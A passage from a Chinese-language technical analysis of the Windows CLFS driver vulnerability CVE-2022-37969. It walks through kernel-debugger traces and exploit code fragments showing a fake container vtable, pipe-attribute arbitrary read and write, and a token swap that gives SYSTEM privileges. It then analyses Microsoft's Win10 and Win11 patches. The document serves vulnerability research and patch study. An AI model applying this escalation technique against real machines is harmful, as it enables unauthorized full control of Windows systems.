00000000`05000070  00000000`00000000 00000000`00000000
1: kd> u fffff800`151f2da0
nt!SeSetAccessStateGenericMapping:
fffff800`151f2da0 488b4148        mov     rax,qword ptr [rcx+48h]
fffff800`151f2da4 0f1002          movups  xmm0,xmmword ptr [rdx]
fffff800`151f2da7 f30f7f4008      movdqu  xmmword ptr [rax+8],xmm0
fffff800`151f2dac c3              ret
fffff800`151f2dad cc              int     3
fffff800`151f2dae cc              int     3
fffff800`151f2daf cc              int     3
fffff800`151f2db0 cc              int     3
1: kd> u fffff800`112f1cb0
CLFS!ClfsEarlierLsn:
fffff800`112f1cb0 488b05c1240000  mov     rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`112f4178)]
fffff800`112f1cb7 4885c9          test    rcx,rcx
fffff800`112f1cba 7436            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`112f1cf2)
fffff800`112f1cbc 488b09          mov     rcx,qword ptr [rcx]
fffff800`112f1cbf 483b0d82210000  cmp     rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`112f3e48)]
fffff800`112f1cc6 742a            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`112f1cf2)

内核将依次调用ClfsEarlierLsnSeSetAccessStateGenericMapping

ClfsEarlierLsn中edx被设为0xFFFFFFFF

CLFS!ClfsEarlierLsn:
fffff800`112f1cb0 488b05c1240000 mov     rax, qword ptr [CLFS!CLFS_LSN_INVALID (fffff800112f4178)]
fffff800`112f1cb7 4885c9         test    rcx, rcx
fffff800`112f1cba 7436           je      CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1cbc 488b09         mov     rcx, qword ptr [rcx]
fffff800`112f1cbf 483b0d82210000 cmp     rcx, qword ptr [CLFS!CLFS_LSN_NULL (fffff800112f3e48)]
fffff800`112f1cc6 742a           je      CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1cc8 483bc8         cmp     rcx, rax
fffff800`112f1ccb 7425           je      CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1ccd 83caff         or      edx, 0FFFFFFFFh
fffff800`112f1cd0 48894c2408     mov     qword ptr [rsp+8], rcx
fffff800`112f1cd5 03ca           add     ecx, edx
fffff800`112f1cd7 894c2408       mov     dword ptr [rsp+8], ecx
fffff800`112f1cdb 3bca           cmp     ecx, edx
fffff800`112f1cdd 750e           jne     CLFS!ClfsEarlierLsn+0x3d (fffff800112f1ced)
fffff800`112f1cdf 8b4c240c       mov     ecx, dword ptr [rsp+0Ch]
fffff800`112f1ce3 85c9           test    ecx, ecx
fffff800`112f1ce5 740b           je      CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1ce7 03ca           add     ecx, edx
fffff800`112f1ce9 894c240c       mov     dword ptr [rsp+0Ch], ecx
fffff800`112f1ced 488b442408     mov     rax, qword ptr [rsp+8]
fffff800`112f1cf2 c3             ret
1: kd> redx
edx=ffffffff
1: kd> u
CLFS!ClfsEarlierLsn+0x42:
fffff800`112f1cf2 c3              ret
fffff800`112f1cf3 cc              int     3
fffff800`112f1cf4 cc              int     3
fffff800`112f1cf5 cc              int     3
fffff800`112f1cf6 cc              int     3
fffff800`112f1cf7 cc              int     3
fffff800`112f1cf8 cc              int     3
fffff800`112f1cf9 cc              int     3

SeSetAccessStateGenericMapping函数中,将rdx存储的指针复制到rcx+48存储的指针指向的内存中,前面调用ClfsEarlierLsn之后,rdx指向0xFFFFFFFF

nt!SeSetAccessStateGenericMapping:
fffff800`151f2da0 488b4148           mov     rax, qword ptr [rcx+48h]
fffff800`151f2da4 0f1002             movups  xmm0, xmmword ptr [rdx]
fffff800`151f2da7 f30f7f4008         movdqu  xmmword ptr [rax+8], xmm0
fffff800`151f2dac c3                 ret

在内存0xFFFFFFFF已经存储了一个指针,该指针指向了system token

1: kd> dq rdx
00000000`ffffffff  ffffa48f`4149e000 41414141`4141005a
00000001`0000000f  00000000`00000000 00000000`00000000
00000001`0000001f  00000000`00000000 00000000`00000000
00000001`0000002f  00000000`00000000 00000000`00000000
00000001`0000003f  00000000`00000000 00000000`00000000
00000001`0000004f  00000000`00000000 00000000`00000000
00000001`0000005f  00000000`00000000 00000000`00000000
00000001`0000006f  00000000`00000000 00000000`00000000
v14 = system_EPROCESS & 0xfff;
		v15 = system_EPROCESS & 0xfffffffffffff000;

		dest2 = 0xffffffff;
		dest3 = 0x100000007;

		value2 = 0x414141414141005A;
		value3 = 0;
		value3 = &value2;

		// 在0xffffffff地址分配0x100000大小的内存
		if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4))
		{
			memset((LPVOID)dest3, 0, 0xff8);

			// 写入system_EPROCESS & 0xfffffffffffff000;
			*(UINT64*)dest2 = v15;

而rcx+48存储了pipe的AttributeValueSize的地址

1: kd> db rcx+0x48
00000000`005093e8  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`005093f8  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509408  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509418  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509428  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509438  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509448  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............
00000000`00509458  18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00  ...$............

继续执行,将会把0xFFFFFFFF存储的指针写入到rax+8的地址上,内核中pipe对象的AttributeValue 值已经被覆盖为system token地址

1: kd>
nt!SeSetAccessStateGenericMapping+0xc:
fffff800`151f2dac c3              ret
1: kd> db rax-0x18
ffffbc0b`24f9c000  b0 32 0e 27 0b bc ff ff-b0 32 0e 27 0b bc ff ff  .2.'.....2.'....
ffffbc0b`24f9c010  28 c0 f9 24 0b bc ff ff-d6 0f 00 00 00 00 00 00  (..$............
ffffbc0b`24f9c020  **00 e0 49 41 8f a4 ff** ff-5a 00 41 41 41 41 41 41  ..IA....Z.AAAAAA
ffffbc0b`24f9c030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffbc0b`24f9c040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffbc0b`24f9c050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffbc0b`24f9c060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffbc0b`24f9c070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

之后通过_NtFsControlFile并设ControlCode为0x110038,则会读取pipe对象的AttributeValue并写入到用户提供的缓冲区中,读取到这里已经读取到了system token的地址。

为了完成token替换,exp第二次触发漏洞,在触发之前堆内存进行布局。把system token地址布局到0xFFFFFFFF,从0x10008开始每隔0x10把自身token地址写入到该地址中

触发漏洞(这里重新调试了,所以地址不一样),在CLFS!CClfsBaseFilePersisted::RemoveContainer中断下

1: kd> g
Breakpoint 1 hit
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x48:
fffff807`13a66df8 488bf8          mov     rdi,rax
0: kd> db rax
ffff8e86`0c0dd070  06 00 00 00 00 00 00 00-c6 6c 11 93 9c 15 ee 11  .........l......
ffff8e86`0c0dd080  bc 82 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00  ....)..2........
ffff8e86`0c0dd090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0dd0a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0dd0b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0dd0c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0dd0d0  38 13 00 00 00 00 00 00-00 00 00 00 00 00 00 00  8...............
ffff8e86`0c0dd0e0  00 00 00 00 00 00 00 00-38 14 00 00 00 00 00 00  ........8.......
0: kd> db rax + 0x1468
ffff8e86`0c0de4d8  08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00  ....0...........
ffff8e86`0c0de4e8  00 00 00 00 00 00 00 00-10 38 bb 00 00 00 00 00  .........8......
ffff8e86`0c0de4f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0de508  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0de518  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0de528  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0de538  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8e86`0c0de548  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

查看此时的pContainer对象

0: kd> db bb3810
00000000`00bb3810  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3820  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3830  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3840  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3850  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3860  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3870  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......
00000000`00bb3880  00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff  ........0u......

vtable

0: kd> dq 5000000
00000000`05000000  00000001`23456789 fffff807`15ff2da0
00000000`05000010  00000000`00000000 fffff807`13a51cb0
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  00000000`00000000 00000000`00000000
00000000`05000040  00000000`00000000 00000000`00000000
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 00000000`00000000
00000000`05000070  00000000`00000000 00000000`00000000

执行到nt!SeSetAccessStateGenericMapping函数时,rdx指向内存0xFFFFFFFF,该内存存储了system token的地址,将其写入到rax+8指向的地址中,此处为自身token地址,也就是将system token地址写入到了自身token地址中,即把自身token 替换成了system token达成提权。

system权限token
1: kd> dp rdx L6
00000000`ffffffff  ffff8e86`03e616fc 00000000`00000000
00000001`0000000f  00000000`00000000 00000000`00000000
00000001`0000001f  00000000`00000000 00000000`00000000
1: kd> !process 4 1
Searching for Process with Cid == 4
PROCESS ffffb1838ce87180
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffff8e8603e57d40  HandleCount: 2731.
    Image: System
    VadRoot ffffb1838ce94920 Vads 6 Clone 0 Private 22. Modified 4650. Locked 0.
    DeviceMap ffff8e8603e35ae0
    Token                             ffff8e8603e616f0
    ElapsedTime                       00:58:07.536
    UserTime                          00:00:00.000
    KernelTime                        00:00:03.093
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      272
    Working Set Sizes (now,min,max)  (49, 50, 450) (196KB, 200KB, 1800KB)
    PeakWorkingSetSize                216
    VirtualSize                       3 Mb
    PeakVirtualSize                   14 Mb
    PageFaultCount                    2325
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      49

当前权限token
1: kd> !process 0x10cc 1
Searching for Process with Cid == 10cc
PROCESS ffffb18391fe7080
    SessionId: 1  Cid: 10cc    Peb: f894963000  ParentCid: 0294
    DirBase: a8104000  ObjectTable: ffff8e860b632980  HandleCount:  92.
    Image: exp.exe
    VadRoot ffffb18392993580 Vads 57 Clone 0 Private 4686. Modified 1209. Locked 0.
    DeviceMap ffff8e8608a9b1d0
    Token                             ffff8e860bc6f770
    ElapsedTime                       00:54:10.168
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         123368
    QuotaPoolUsage[NonPagedPool]      8096
    Working Set Sizes (now,min,max)  (5602, 50, 345) (22408KB, 200KB, 1380KB)
    PeakWorkingSetSize                5529
    VirtualSize                       4210 Mb
    PeakVirtualSize                   4210 Mb
    PageFaultCount                    8565
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      6285

1: kd> dp rax+8 L2
ffffb183`91fe7538  ffff8e86`0bc6f774 00000000`00000000

继续执行,当前进程的Token已经被替换为系统Token

1: kd>
nt!SeSetAccessStateGenericMapping+0xc:
fffff807`15ff2dac c3              ret
1: kd> dp ffffb183`91fe7080+0x4b8 L6
ffffb183`91fe7538  ffff8e86`03e616fc 00000000`00000000
ffffb183`91fe7548  00000000`00000000 00000000`00000000
ffffb183`91fe7558  00000000`00000000 00000000`00000000
1: kd> !process 0x10cc 1
Searching for Process with Cid == 10cc
PROCESS ffffb18391fe7080
    SessionId: 1  Cid: 10cc    Peb: f894963000  ParentCid: 0294
    DirBase: a8104000  ObjectTable: ffff8e860b632980  HandleCount:  92.
    Image: exp.exe
    VadRoot ffffb18392993580 Vads 57 Clone 0 Private 4686. Modified 1209. Locked 0.
    DeviceMap ffff8e8608a9b1d0
    Token                             ffff8e8603e616f0
    ElapsedTime                       01:06:41.537
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         123368
    QuotaPoolUsage[NonPagedPool]      8096
    Working Set Sizes (now,min,max)  (5602, 50, 345) (22408KB, 200KB, 1380KB)
    PeakWorkingSetSize                5529
    VirtualSize                       4210 Mb
    PeakVirtualSize                   4210 Mb
    PageFaultCount                    8565
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      6285

1: kd> !token ffff8e8603e616f0
_TOKEN 0xffff8e8603e616f0
TS Session ID: 0
User: S-1-5-18
User Groups:
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
 02 0x000000002 SeCreateTokenPrivilege            Attributes -
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes -
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes -
 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default
 08 0x000000008 SeSecurityPrivilege               Attributes -
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes -
 10 0x00000000a SeLoadDriverPrivilege             Attributes -
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled Default
 12 0x00000000c SeSystemtimePrivilege             Attributes -
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled Default
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled Default
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled Default
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled Default
 17 0x000000011 SeBackupPrivilege                 Attributes -
 18 0x000000012 SeRestorePrivilege                Attributes -
 19 0x000000013 SeShutdownPrivilege               Attributes -
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled Default
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes -
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
 25 0x000000019 SeUndockPrivilege                 Attributes -
 28 0x00000001c SeManageVolumePrivilege           Attributes -
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes -
 32 0x000000020 SeRelabelPrivilege                Attributes -
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default
 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - Enabled Default
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3eb              ParentToken ID: 0
Modified ID:               (0, 3ec)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
PackageSid: (null)
CapabilityCount: 0      Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Invalid AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION with no claims
Process Token TrustLevelSid: S-1-19-1024-8192

替换完Token之后当前进程权限已经变为system权限

补丁分析

WIN10

使用Bindiff查看可知补丁主要修改了三个函数

CClfsBaseFilePersisted::LoadContainerQ增加了对SignatureOffset的检查,使其不能超过BASE_RECORD大小,增加了对cbSymbolZone 的检查

__int64 __fastcall CClfsBaseFilePersisted::LoadContainerQ(
        CClfsBaseFilePersisted *this,
        unsigned int *const a2,
        int a3,
        unsigned __int8 a4,
        char a5,
        union _CLS_LSN a6,
        unsigned int *a7,
        unsigned int *a8,
        unsigned __int64 *a9)
{
  .....
  while ( v16 );
  v74 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
  BaseLogRecord = (struct _CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
  if ( BaseLogRecord )
  {
    if ( (int)Feature_Servicing_41154973__private_IsEnabled() )
    {
      **if ( *(_DWORD *)(v10 + 0x68) > *(unsigned __int16 *)(v10 + 4) << 9 )// SignatureOffset
      {
        v20 = -1072037875;
        v73 = -1072037875;
        goto LABEL_146;
      }
      if ( (int)ULongLongAdd((unsigned __int64)BaseLogRecord + 0x1338, *((unsigned int *)BaseLogRecord + 0x4CA), &v91) < 0
        || (int)ULongLongAdd(v10, v21, &v90) < 0// 将BASE_RECORD_HEADER和cbSymbolZone相加
        || v91 > v90 )**
      {
        v20 = -1072037875;
        v73 = -1072037875;
        goto LABEL_146;
      }
    }
    Src = (char *)BaseLogRecord + 808;
    v79 = CClfsBaseFile::ContainerCount(this);
    v22 = 0;
    while ( v11 < 0x400 )
    {
      v17 = (CClfsContainer *)v11;

CClfsBaseFile::GetSymbol中增加了对Client Context 的检查,验证是否是正确的Client Context

__int64 __fastcall CClfsBaseFile::GetSymbol(
        PERESOURCE *this,
        unsigned int a2,
        char a3,
        struct _CLFS_CLIENT_CONTEXT **a4)
{
...
  if ( !v11 )
    goto LABEL_12;
  if ( *(v11 - 3) != a2 )
  {
    v8 = -1073741816;
LABEL_13:
    v16 = v8;
    goto LABEL_14;
  }
  v12 = ClfsQuadAlign(0x88u);
  **if ( *((_DWORD *)v13 - 4) != (unsigned __int64)(v15 + v12)// 验证Client Context上下文
    || *(_DWORD *)v13 != -1040322553
    || *((_DWORD *)v13 + 1) != v14
    || *((_BYTE *)v13 + 8) != a3** )
  {
LABEL_12:
    v8 = -1072037875;
    goto LABEL_13;
  }
  *a4 = v13;

WIN11

win11上补丁主要新增了以下几个函数

CClfsBaseFile::AllocOffsetNode(_RTL_AVL_TABLE *,ulong)
CClfsBaseFile::CompareGenericoffsets(_RTL_AVL_TABLE *,void *,void *)
CClfsBaseFile::ValidateCheckifWithinSymbolZone(ulong,_CLFS_BASE_RECORD_HEADER *)
CClfsBaseFile::ValidateClientContextOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateClientSymTblOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateContainerSymTblOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateProcessQNode(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const,ulong,ulong &,ulong &)

CClfsBaseFilePersisted::LoadContainerQ 函数开始调用堆栈为:

CClfsBaseFilePersisted::LoadContainerQ→CClfsBaseFile::ValidateOffsets→CClfsBaseFile::ValidateClientContextOffsets→CClfsBaseFile::ValidateCheckifWithinSymbolZone

函数CClfsBaseFile::ValidateOffsets 伪代码如下:

__int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile *this, struct _CLFS_BASE_RECORD_HEADER *const a2)
{
  char v4; // r13
  unsigned __int64 v5; // rbx
  struct _RTL_AVL_TABLE *TableContext; // rax
  struct _CLFS_VALIDATE_OFFSET_TABLE *v7; // rdi
......

  v4 = 0;
  v5 = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64);
  TableContext = (struct _RTL_AVL_TABLE *)ExAllocatePoolWithTag(PagedPool, 0x68ui64, 0x73666C43u);
  v7 = (struct _CLFS_VALIDATE_OFFSET_TABLE *)TableContext;
  if ( !TableContext )
    return 3221225626i64;
  RtlInitializeGenericTableAvl(
    TableContext,
    CClfsBaseFile::CompareGenericoffsets,
    CClfsBaseFile::AllocOffsetNode,
    CClfsLogFcbPhysical::ReleaseLsnMap,
    TableContext);
  v9 = *(unsigned int *)(v5 + 104);
  if ( (unsigned int)v9 > *(unsigned __int16 *)(v5 + 4) << 9 )
    goto LABEL_25;
  v10 = (char *)a2 + *((unsigned int *)a2 + 1226) + 4920;
  if ( v10 < (char *)a2 + 4920 || v5 + v9 < v5 || (unsigned __int64)v10 > v5 + v9 )
    goto LABEL_25;
  v11 = CClfsBaseFile::ValidateContainerContextOffsets(this, v7, a2);
  **if ( v11 < 0
    || (v11 = CClfsBaseFile::ValidateClientContextOffsets(this, (struct _RTL_AVL_TABLE *)v7, a2), v11 < 0)
    || (v11 = CClfsBaseFile::ValidateContainerSymTblOffsets(this, v7, a2), v11 < 0)
    || (v11 = CClfsBaseFile::ValidateClientSymTblOffsets(this, v7, a2), v11 < 0) )**
  {
LABEL_26:
.....
LABEL_35:
  ExFreePoolWithTag(v7, 0);
  return (unsigned int)v11;
}

该代码中通过调用CClfsBaseFile::ValidateClientContextOffsets CClfsBaseFile::ValidateClientSymTblOffsets CClfsBaseFile::ValidateContainerSymTblOffsets检查Client Context Offset、Container Sybbol Table等偏移是否合法。

CClfsBaseFile::ValidateClientContextOffsets伪代码如下,该代码循环遍历检查每个Container并调用CClfsBaseFile::ValidateCheckifWithinSymbolZone检查cbSymbolZone是否合法。

__int64 __fastcall CClfsBaseFile::ValidateClientContextOffsets(
        CClfsBaseFile *this,
        struct _RTL_AVL_TABLE *a2,
        struct _CLFS_BASE_RECORD_HEADER *const a3)
{
  int Symbol; // ebx
  int v4; // r14d
  __int64 v5; // rdi
  unsigned int v8; // esi
  CClfsBaseFile *v9; // rcx
  struct _CLFS_BASE_RECORD_HEADER *v10; // r8
.....
  do
  {
    v8 = *((_DWORD *)a3 + v5 + 78);
    if ( v8 - 1 <= 0xFFFFFFFD )
    {
      ++v4;
      Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone(this, v8 + 135, a3);
      if ( Symbol < 0 )
        goto LABEL_15;
      Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone(v9, v8 - 48, v10);
      if ( Symbol < 0 )
        goto LABEL_15;
      v11 = CClfsBaseFile::OffsetToAddr(this, v8);
      if ( !v11 )
        goto LABEL_15;
      v12 = *(v11 - 3);
      if ( v12 != v8 )
        goto LABEL_15;
      if ( *(v11 - 4) != v12 + 136 )
        goto LABEL_15;
      v19 = 0i64;
      Symbol = CClfsBaseFile::GetSymbol(this, v8, v5, &v19);
      if ( Symbol < 0 )
        goto LABEL_15;
      if ( *((unsigned __int8 *)v19 + 8) != (_DWORD)v5 )
        goto LABEL_15;
      if ( *(_DWORD *)v19 != -1040322553 )
        goto LABEL_15;
      Buffer = *((_DWORD *)a3 + v5 + 78) - 48;
      inserted = RtlInsertElementGenericTableAvl(a2, &Buffer, 8u, &NewElement);
      if ( !NewElement || !inserted )
        goto LABEL_15;
    }
    v5 = (unsigned int)(v5 + 1);
  }
  while ( (unsigned int)v5 < 0x7C );
  if ( v4 != CClfsBaseFile::ClientCount(this) )
  {
......
  return (unsigned int)Symbol;
}

CClfsBaseFile::ValidateCheckifWithinSymbolZone函数检查cbSymbolZone偏移是否处于政策范围内(处于BASE_RECORD_HEADER和BASE_RECORD之间)

__int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(
        CClfsBaseFile *this,
        unsigned int a2,
        struct _CLFS_BASE_RECORD_HEADER *a3)
{
  if ( a2 < 0x1338 || a2 - 4920 > *((_DWORD *)a3 + 1226) )
    return 3222929421i64;
  else
    return 0i64;
}

小结

这次漏洞的造成原因是自身的SignatureOffset和自身的Signatures相交,导致攻击者可以利用循环写入Signatures的时候覆盖SignatureOffset,从而绕过ResetLog中的边界检查,同时未检查BASE_RECORD_HEADER + cbSymbolZone是否位于当前的BASE_RECORD中,导致攻击者可以利用漏洞通过memset函数对任意地址的一定大小的内存进行清零。

在实际利用中通过清零pContainer指针的高五位同时在用户层通过堆布局伪造CClfsContainer对象,在解引用对象指针时获取到执行代码的时机。通过结合Pipe对象和内核的两个函数成功获得任意读和任意写,从而成功将当前进程的Token替换成系统进程的token,达成提权。利用过程

在漏洞补丁中增加了对cbSymbolZoneClient Context的检查从而在漏洞利用初期阻断。

总的来说该漏洞形成原因是代码调用某些函数时未检查边界且该边界用户可控或间接可控。

参考链接

https://github.com/fortra/CVE-2022-37969

https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part2-exploit-analysis

https://mp.weixin.qq.com/s/GMzbavzltM756Fb8lw6h_A

https://bbs.kanxue.com/thread-275566.htm#msg_header_h3_0

https://www.geoffchappell.com/

https://github.com/ionescu007/clfs-docs

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

https://www.52pojie.cn/thread-1817452-1-1.html

Created at 2023-05-26T10:56:00+08:00

创建于:Friday, May 26,2023
最后修改于: Tuesday, January 2,2024